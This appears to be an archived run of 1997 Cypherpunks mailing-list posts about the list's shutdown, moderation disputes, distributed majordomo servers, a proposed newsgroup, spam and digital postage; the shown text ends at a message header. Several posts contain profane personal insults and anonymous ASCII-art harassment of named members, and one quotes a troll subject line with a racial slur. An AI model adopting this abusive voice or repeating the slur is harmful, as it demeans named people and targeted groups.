> > Most people don't have nocem-enabled newareaders yet... Which is where the
> > network of cypherpunks majordomos Igor's been busy creating comes in very
> > handy.
> >
>
> It is a very good idea to let NoCeM issuers and filterers work
> independently from list nodes.


Yes - from the legal liability point of view (since it bothers the lying
cocksucker Gilmore (spit, fart, belch) so  much): suppose someone
anonymously posts  skipjack source code to alt.cypherpunks. Under the
present systen, say, the arachelian asshole might decide not to forward
it to his mailing list feaing the NSA. NoCeM's can separate the function
of highlighting interesting articles from the function of forwarding
these articles to subscribers who only want to see the highlighted
articles.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 08:05:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale-Further proof
Message-ID: <199702131605.IAA21730@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Yet another Dale day (blah):

:Date: Wed, 12 Feb 1997 22:37:58 -0800
:From: Dale Thorn <dthorn@gte.net>
:To: cypherpunks@toad.com
:CC: dlv@bwalk.dm.com

:Another blood stain on Gilmore's shroud, as it were.

As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.

Ipso facto.

As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

And, cc: Doctor V., no less. What cabal is this with cc's in the clear? 

Love you, fella.
(You can tell, can't you.) 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 14 Feb 1997 08:12:02 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <3.0.32.19970213082845.006c9298@best.com>
MIME-Version: 1.0
Content-Type: text/plain


The provocateurs won.
Too bad.  Seems Cpunks caved to the simplest of attacks.
Proves you don't need key-escrow or any of the rest to 
  ahem, "affect" unfettered discourse in cyberspace.




At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   
>       The plan for the cypherpunks mailing list was simple. It was to be
>   an online gathering place, an intellectual mosh pit, dedicated to the
>   free flow of ideas and personal privacy through encryption.
>   
>       Of course it caught on. From its modest beginnings connecting a
>   few friends who lived in Northern California, it quickly grew into one
>   of the most rowdy, volatile lists on the Net: Cypherpunks typically
>   piped more than 100 messages a day into the mailboxes of nearly 2,000
>   subscribers. And the list became a kind of crypto-anarchist utopia.
>   Populated by pseudonymous posters with names like Black Unicorn, it
>   was a corner of cyberspace where PGP signatures and digital cash were
>   the norm -- and there were no rules. Then yesterday came the news: The
>   list was being evicted and faced imminent shutdown.
>   
>       In an e-mail seen 'round the Net, John Gilmore, Electronic
>   Frontier Foundation cofounder and list maintainer, announced that he
>   was no longer willing to provide a virtual home for the cypherpunks.
>   In a post entitled "Put Up or Shut Up," he described how his efforts
>   to improve the list through moderation were condemned, how technical
>   problems were consuming more of his time, how pranksters had tried to
>   subscribe the entire U.S. Congress to the list. How this experiment in
>   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
>   lodgings.
>   
>       "The last straw for me was seeing the reaction of the list to
>   every attempt to improve it. It was to carp, to cut it down, to say
>   you're doing everything wrong," Gilmore told me yesterday night. One
>   of the first employees of Sun, Gilmore quit after eight years -- a
>   millionaire more interested in pursuing ideas than dollars. But his
>   experiment with the list has left him weary. "If everything I'm doing
>   is wrong, I'm clearly not the right person to host the list," he said.
>   
>       "I would like to see some other structure in which the positive
>   interactions on the list could continue. I'm not trying to create that
>   structure anymore," he added. Instead, he would try the only true
>   crypto-anarchist solution: "I'm handing it over to members to do what
>   they wish with it."
>   
>       The cypherpunks first pierced the public's consciousness when
>   Wired magazine splashed them across the cover of the second issue. The
>   Whole Earth Review and the Village Voice followed soon after. The name
>   "cypherpunk" came to be synonymous with a brash young breed of
>   digerati who were intent on derailing the White House's encryption
>   policies and conquering cyberspace. This was crypto with an attitude.
>   
>       Gilmore was typical of the breed. Monthly Bay Area meetings of the
>   'punks were held in the offices of Cygnus, a company he started to
>   provide support for the free Unix alternative, GNU.
>   
>       But the veteran cypherpunk came under heavy fire in November 1996,
>   when a loudmouthed flamer flooded the list with flame bait and ad
>   hominem attacks on various members. Finally, Gilmore, ironically, gave
>   him the boot -- and incited an all-consuming debate over what the
>   concept of censorship means in a forum devoted to opposing it. In a
>   society of crypto-anarchists, who should make the rules? The mailing
>   list melted down. By last month, it seemed, more messages complained
>   about censorship than discussed crypto.
>   
>       Indeed, for months Gilmore seemed unable to do anything right. He
>   tried moderation, which proved to be even more contentious, raising
>   the question of empowering one cypherpunk to decide what was
>   appropriate for others to read. One member of the group, in effect,
>   would be more equal than the rest. And why would members take the time
>   to write elaborate, thoughtful articles on crypto-politics if their
>   treatises might not make it past the moderator's keyboard?
>   
>       After the expulsion, some of the longtime list denizens left
>   angrily, joining the 700 subscribers who had departed since the
>   controversy began. One of those was Tim C. May, a crusty former Intel
>   engineer who prides himself as the organizer of the first cypherpunk
>   meeting in September 1992. In an essay summarizing the reasons for his
>   departure, he wrote: "The proper solution to bad speech is more
>   speech, not censorship. Censorship just makes opponents of 'speech
>   anarchy' happy -- it affirms their basic belief that censors are
>   needed."
>   
>       After all, May pointed out, the list ended up on Gilmore's
>   toad.com machine only by happenstance -- it almost was housed on a
>   workstation at the University of California at Berkeley. Ownership of
>   the computer with the database of subscribers did not mean that
>   Gilmore owned the cypherpunks. "Whatever our group once was, or still
>   is, is not dependent on having a particular mailing list running on
>   someone's home machine... and it cannot be claimed that any person
>   'owns' the cypherpunks group," May wrote.
>   
>       The cypherpunks have responded to Gilmore's eviction notice. List
>   participants generally have halted the incessant attacks on Gilmore,
>   and now the discussion has turned to how to continue this experiment
>   in online anarchy -- while preventing one person from ever again
>   having absolute control of the List. Within hours of Gilmore's
>   announcement, posters were tossing around ideas of a distributed
>   network of mailing lists that would carry the cypherpunk name, and
>   other 'punks likely will migrate to the more tightly controlled
>   coderpunks and cryptography lists.
>   
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>   
>###
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Thu, 13 Feb 1997 07:37:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Tempest
Message-ID: <199702131537.IAA09202@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased L<oad> Villainous K<rud>OTM's father, an idiot, stumbled
across Deceased L<oad> Villainous K<rud>OTM's mother, an imbecile,
when she had no clothes on. Nine months later she had a little moron.

           o
       /\O/        O Deceased L<oad> Villainous K<rud>OTM
      0  \\    | 0-#
         //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 08:53:15 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: More on Digital Postage
In-Reply-To: <v03007805af2801044089@[207.167.93.63]>
Message-ID: <v03007800af28f71d3a32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

>on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

>+Having said this, the flaw remains that "junk mail" is "free" to the
>+sender. This is a flaw in the ontology of e-mail, and needs to be
>+fixed. Digital postage is one approach.
>
>    probably cut down on our postings to cp as well!  32 cents to post?
>

I'm sure Attila does not believe any digital postage scheme would fix the
message rate at 32 cents, but it's an issue worth expanding upon.

First, the rate would be based on true market conditions, presumably. That
is, carriers of traffic would negotiate rates. Multiple stages of carriage
would involve negotiation between carriers.

(As with shipment of physical goods, where a shipment from Alice to Bob
might involve several carriers: trucks, trains, warehouse use, delivery
vans, toll road fees. All are "folded in" to the $3 or whatever charge paid
by Alice or Bob, depending.)

Second, the carriage charges for an ordinary e-mail message would likely be
in the sub-cents range.

Third, I don't see this ontological restructuring happening anytime soon.
People have gotten used to "free" services.

Fourth, we need to be alert to moves by the U.S. Postal Service to get a
foot in the door for "digital postage." There's nothing they'd like more
than having people clamor for the government to "do something!" about spam
and "unwanted mail" and thus get this foot in the door.


>    unfortunately, until the irresponsible tone down their greed, we
>    need the regulation to protect ourselves from the predators.
>
>    in other words, I agree with you in my heart, but our society
>    refuses to cooperate.

Attila and I have had this disagreement before (last time it involved
Attila's support for curfews).

Attila is free to hire agents to screen his mail so he does not receive
spam. He is not free, in a free society, to force such screeners upon me.

Talking about "irresponsible tones" and "greed" and how we need more laws
to protect ourselves from "predators" sounds more like something from the
Marin County limousine liberal set than from a Utah mountain man
Cypherpunk. I'm shocked, simply shocked.

(:-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 07:11:45 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3302E815.5E66@netbox.com>
Message-ID: <199702131504.JAA20582@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


This is where the distributed nature of the list comes   in.

if someone disagrees with Jim's AUP, he or she can use soem other
mailing list host.

igor

Greg Broiles wrote:
> 
> (Readers curious about Jim Choate's list ownership/acceptable use
> policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)
> 
> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 
> 
> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard. It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed. Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.
> 
> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 
> 
> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 
> 
> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not, given that an assignment or transfer of copyright
> must be in writing, 17 USC 204; and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list. A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 
> 
> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.
> 
> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 
> 
> If the rule only applies to the ssz.com version, what's the point?
> 
> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 
> 
> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 
> 
> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 
> 
> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?
> 
> --
> Greg Broiles                | US crypto export control policy
> gbroiles@netbox.com         | in a nutshell:
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> ======================================
> == This list is still experimental. ==
> == complain to ichudov@algebra.com  ==
> ======================================
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 07:39:21 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <o7D32D23w165w@bwalk.dm.com>
Message-ID: <199702131535.JAA20917@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com writes:
> > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> > > corprate news servers that don't carry alt.* (or even soc.*). Note that
> > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat
> > > newsservers don't carry soc.* and talk.* can use dejanews - provided their
> > > firewall lets them.)
> >
> > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> > > It takes a vote. I'm willing to be one of the proponents and generally help
> > > with the process. (Both I and Igor have been co-proponents of major Usenet
> > > newsgroups - don't know about other people onthis list. :-)
> >
> > Not only it takes a vote. What is more important is what a vote gives:
> > a good discussion of the newsgroup and the formal RFD/RFD/CFV process
> > ensures that, on average, a good balance is found between various groups
> > of readers.
> >
> > I am not concerned as to what the name of the group will be, it is
> > not important. What is important is that it should be in a more or
> > less flame-free zone.
> 
> I'm concerned about smart people stuck behind corporate firewalls
> and able to see comp.* and sci.*. Nearly every big Wall St firm
> is that way. Did I ever relate to you the story how I had to
> break through the firwall at GS to accomplish mywork?

Would be interesting.

> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

It is not only because of that. There are two categories of people
who simply do not visit com.* groups: sex spammers and trollers
(who post articles like I RAPED A NIGGER CHILD to tens of newsgroups).

If the group is created in a space that is isolated from them, that is
already good.

As for net.cops, check out what Scott Nudds does in comp.lang.c++

> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?

Chris Lewis can exclude newsgroups from his spam watch. I think that
if cypherpunks put something forbidding third party cancels into the
charter, he will not cancel stuff posted there.

> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?

Yes, there is a notorious net.cop The Right Reverend Colin James III (spit).

A sample of his stukachestvo is attached at the bottom of this letter.


>From ares.csd.net!cjames  Fri Dec  8 00:00:29 1995
Return-Path: <cjames@ares.csd.net>
Received: from ares.csd.net by espcbw.stat.ncsu.edu.stat.ncsu.edu with smtp
        (Smail3.1.29.1 #5) id m0tNxjG-000EDPC; Fri, 8 Dec 95 00:00 PST
Received: by ares.csd.net (5.65/DEC-Ultrix/4.3)
        id AA08055; Thu, 7 Dec 1995 22:02:44 -0700
Message-Id: <9512080502.AA08055@ares.csd.net>
From: cjames@ares.csd.net (Colin James III (The Rt Rev'd))
To: ichudov@espcbw.stat.ncsu.edu (Igor Chudov),
        postmaster@espcbw.stat.ncsu.edu, postmaster@stat.ncsu.edu,
        postmaster@ncsu.edu
Subject: Re: Nauseating typedefs -- pros and cons
Date: Fri, 08 Dec 1995 03:13:53 GMT
Organization: CEC Services
Reply-To: cjames@ares.csd.net
References: <461dph$ske@saba.info.ucla.edu> <48np3j$1b4@solutions.solon.com> <4a
7rpv$fj@taco.cc.ncsu.edu>
X-Mailer: Forte Agent .99b.112
Status: RO

On 7 Dec 1995 23:02:23 GMT, ichudov@espcbw.stat.ncsu.edu (Igor Chudov)
wrote with possible deletions:

| Douglas Evan Cook (cookd@bert.cs.byu.edu) wrote:
| *                     The real question comes down to: when do you need to 
| * use INT32 or INT16?  Usually, you only need it when you are saving info 
| * to a disk or when you need to make sure that your numbers won't 
| * overflow.  A little bit of hardware control is also given.  But when you 
| * don't get those advantages, a plain int is just great.
| 
| It is NOT great at all. Each variable is associated with a range of
| values. This range of values comes from the requirements of external world. 
| Say, some program _must_ be required by business rules to store
| $$ amount as an integer value, and it may be specified in the
| requirements that $$amount cannot be more than $1,000,000. If I,
| as a careless programmer, program variable dollar_amount as int
| just because my RS6000 has 32-bit ints, this program will NOT be
| portable to 16-bit computers.
| 
| You can invent an untold amount of such situations. If I defined
| DollarAmount_t as UINT32, I would effectively avoid this trouble.
| 
| * So for your scanf 
| * vars, just use ints.  Then do range checking and then assign them into 
| * the UINT16 type or whatever only if you need to.
| 
| The solution is very simple and cool (IMHO). 
| 
| In the same file where you define INT16, UINT32, etc, add the following: 
| 
| #ifdef AIX
|   typedef long INT32;
|   #define F_INT32 "ld"
| 
|   typedef unsigned short UINT16;
|   #define F_UINT16 "u"
| #endif
| 
| #ifdef YOUR_FAVORITE_MACHINE
|   typedef short INT32; // Maybe for 64-bit machines, never worked with them
|   #define F_INT32 "d"
| ... etc etc ...
| 
| Then you define your user types: 
| 
|   typedef INT32 DollarAmount_t;
|   #define DollarAmount_f INT32_F // You make it a rule to define
|                                  // formats right along with types
| 
| Usually, in scanf (and printf) people write things like this: 
| 
|       printf( "%ld is the dollar amount for customer %4.4d\n", 
|               amount, cust );
| 
| Instead, you write
| 
|       printf( "%" DollarAmount_f " is the dollar amount for customer "
|               "%4.4" Cust_f,
|               amount, cust );
| 
| It is a totally portable code. All you need to port primitive types 
| is to recompile it.
| 
| -- 
|    - Igor. (My opinions only) http://www.algebra.com/~ichudov/index.html
|    For public PGP key, finger me or send email with Subject "send pgp key"
| 
| You know you have achieved perfection in design, not when you have nothing 
| more to add, but when you have nothing more to take away.
|                           - Antoine de Saint Exupery.

Kindly remove comp.lang.eiffel from distribution of this thread.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
Colin James III, Principal Scientist           cjames@csd.net
CEC Services, 2080 Kipling St, Lakewood, CO  80215-1502   USA
Voice: 303.231.9437;  Facsimile: .231.9438;  Data:  .231.9434  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Thu, 13 Feb 1997 09:47:54 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: distributed mailing list architecture
Message-ID: <v02140b01af28fcafe195@[206.184.146.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 PM 2/7/1997, Adam Back wrote:
>Igor Chudov <ichudov@algebra.com> writes:
>> I'd suggest a simplier solution: to connect each server with a couple,
>> or maybe three, other servers. This scheme is rather robust, does not
>> consume too much CPU time and bandwidth, and is easy to implement.

> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

> Have one main majordomo.

> Have many mail-exploders.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.

> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).

> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.

> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).

> The mail-exploders send mail to the address on their subscriber lists.

> (John Gilmore suggested this architecture, as a simpler alternative).

This mostly solves the performance problem, but performance was not the
only choke point.  It is important to have many machines which accept
posts and which send them to other machines.

(Also, many interconnections means that few messages have to go through
more than two machines which should make message distribution
extraordinarily fast and highly redundant.  Standing in the way of
the cypherpunks list will be like standing in the way of the wind.)

I suggest we consider the problem of subscriptions to be independent
of the problem of posting and distributing messages.

Some machine owners may wish to pool subscription activities.  The
fast and easy approach is to have an official cypherpunks subscription
page which lists all of the mail servers which will accept new
subscribers.  (The person who maintains this page would ideally not
be somebody running a mail server.)  The interested person looks
at the page and then picks a majordomo to subscribe to.

It seems beneficial to me from a technical and social standpoint to
have a web of relationships between list managers and subscribers.
If as a subscriber you have some sort of problem (technical or social),
it will work better if there is just one person to talk to rather than
a loose network of volunteers.

Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 13 Feb 1997 06:53:25 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
In-Reply-To: <199702130511.VAA29241@toad.com>
Message-ID: <m0vv2XO-0000vKC@wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com enscribed thusly:

> Hi All,

> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.

	Majordomo 1.94 and above...

	subscribe_policy = open+confirm

	Last I looked, majordomo does not have subscription expirations
or periodic confirmations.  A couple of months ago someone else on a large
mailing list I help run suggested a package that would periodically mail
a bounce probe.  The probe would have explicit instructions to do NOTHING
if you wanted to remain on the list, just ignore the message.  If the
message came back, due to an E-Mail bounce, vacation program, or someone
who decided they didn't want to remain on the list after all, you toasted
them off.  Sort of an inverse confirmation message.  I lost the message
about the package before I could find it.  It sounds like a great compliment
to majordomo.  Maybe should be another feature for majordomo?  Anyone who
has heard of this add-on, let me know.  I'm still looking for it.

> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> as users to confirm their existing subscriptions.

	The instruction which go back with the job results and the confirmation
need to be beefed up.  I've had a lot of subscribers get "confused" when
their STUPID windows mailer breaks their "auth" message into two lines and
majordomo refuses to recognize it.  Forwarding the confirmation message
back or "replying" to it tend to screw up big time, so I modified the message
in my version to instruct users to "create a new message with this line as
the only line in the body".  It's cut down on the screwed up subscriptions
immensely.

	Majordomo also needs to be enhanced a bit to flush out bits and pieces
of floatsam in the E-Mail address that are not valid E-Mail addresses...
Example:  "Michael H. Warfield" <mhw@wittsend.com> would result in messages
going back to Michael, H., and Warfield, as well as mhw@wittsend.com.  I'm
planning on cleaning out any whitespace separated tokens which do not
contain an embedded "@" followed by a least one "." and ending with an alpha
or a ".".  That's on my to-do list for this week or next...  Along with
upgrading to 1.94.1.

> Is there any way to do it?

> Thank you.

> 	- Igor.
> 

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 13 Feb 1997 09:45:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keep it Simple and the Cypherpunk Way
Message-ID: <199702131737.JAA17690@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 11:42 AM -0500 2/13/97, Derek Atkins wrote:

>Unfortunately, the messages that make it through to the cypherpunks
>list have their MessageID changed when they get approved.  So,
>checking for duplicates by MessageID fails, given the current approval
>mechanism. :(
>
>I've informed Sandy of the problem, but he doesn't know how to
>preserve the original MessageIDs.

I will phrase my message here as respectfully as possible vis-a-vis the
goals of the moderation experiment. That is, I will only deal with one
aspect, the one of _costs_ of the moderation experiment.

To wit, the _costs_ of the moderation experiment--Sandy's time, our time
spent debating moderation, and now the issues raised by Michael Froomkin
and others about dealing with the chaos of multiple, overlapping
lists--greatly exceed the relatively small amount of effort it took anyone
to simply delete the insult posts, the ASCII art posts, etc.

I respectfully submit that the huge costs incurred on several parties have
cumulatively far exceeded the minor savings of not having a handful of the
'bot-generated insults of the day and some of the ASCII art generated. As
to the "comity" of the list, the moderation experiment has clearly had just
the opposite effect, predictably. (Imposing comity is rarely easy,
especially given an independent bunch of folks who are suspicious of
moderators screening their words for evidence of non-comity!). And the ill
will generated toward certain folks has been regrettable, and vastly more
costly than any minor savings in not having to see a few messages. 

"Keep it simple, stupid," the oft-quote KISS principle.

A moderation scheme--except perhaps those run very tightly a la Peter
Neumann's RISKS list--almost always bogs down into debates about the
moderation criteria, the acceptability of certain posts, and so on. Now we
see another effect: multiple lists and a confusing array of cross-posts,
mail-to-News gateways, News-to-mail gateways, etc.

The "Cypherpunks Way" is to encourage and empower people to filter their
own stuff, or to hire outside contractors to do it for them. Failing that,
to let them twist slowly in the wind. "Think of it as evolution in action."

The Cypherpunks Way is also the simplest system.

I hope this episode has reminded us of this lesson.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric.Pinsard" <epinsard@supelec-rennes.fr>
Date: Thu, 13 Feb 1997 01:04:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: key escrow & ttp
Message-ID: <Pine.A32.3.90.970213100055.55814A-100000@excalibur.supelec-rennes.fr>
MIME-Version: 1.0
Content-Type: text/plain


Hello
I am a student in an engineer school and i have to find where and who
are third trusted party for key escrowing all over the world.
If you know such organisation or someone who can help me in my quest,
please mail me back , i am not in a list.

best regards

Eric Pinsard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Capelli <pete@ubisg.com>
Date: Thu, 13 Feb 1997 07:11:01 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702130629.WAA04666@toad.com>
Message-ID: <33032F6A.6B34@ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

<Some deleted>

> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
> person would probably receive enough "spam" to  pay for his Internet
> account, quite analogous to the way advertiser-supported TV is presented to
> the public for no explicit charge.

	Yes, but why does monetary compensation make it then O.K.?  I'd rather
pay for my Internet access, then be bombarded by spam, no matter what
they paid me!  I think the best soln. is the one that is currently in
place for phone calls - they can call once, but if I tell them not to
call me again and they do, I can then begin legal action against them. 
I pay more per month for my phone service than my Internet service (
although in NY, *everything* is more expensive. ), and junk phone calls
are way more intrusive then spam.

> 
> Jim Bell
> jimbell@pacifier.com

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
*****	Finger pete@idaho.ubisg.com for my PGP Public key !! *****
They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.        - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 13 Feb 1997 07:43:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702131524.KAA00149@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Tim May sells his dead relatives as 
fertilizer as they constitute the best shit in California.

        n  ___  n
        H /. .\ H Tim May
       nHnn . nnHn
      <U U/ o \U U>
      /  /\___/\  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 07:33:36 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Openmarket/128 bit export?
Message-ID: <199702131530.KAA11119@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Just saw a newswire about Openmarket exporting 128 bit ssl
for OM-Transact.  Anyone have any details?

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Feb 1997 08:25:02 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
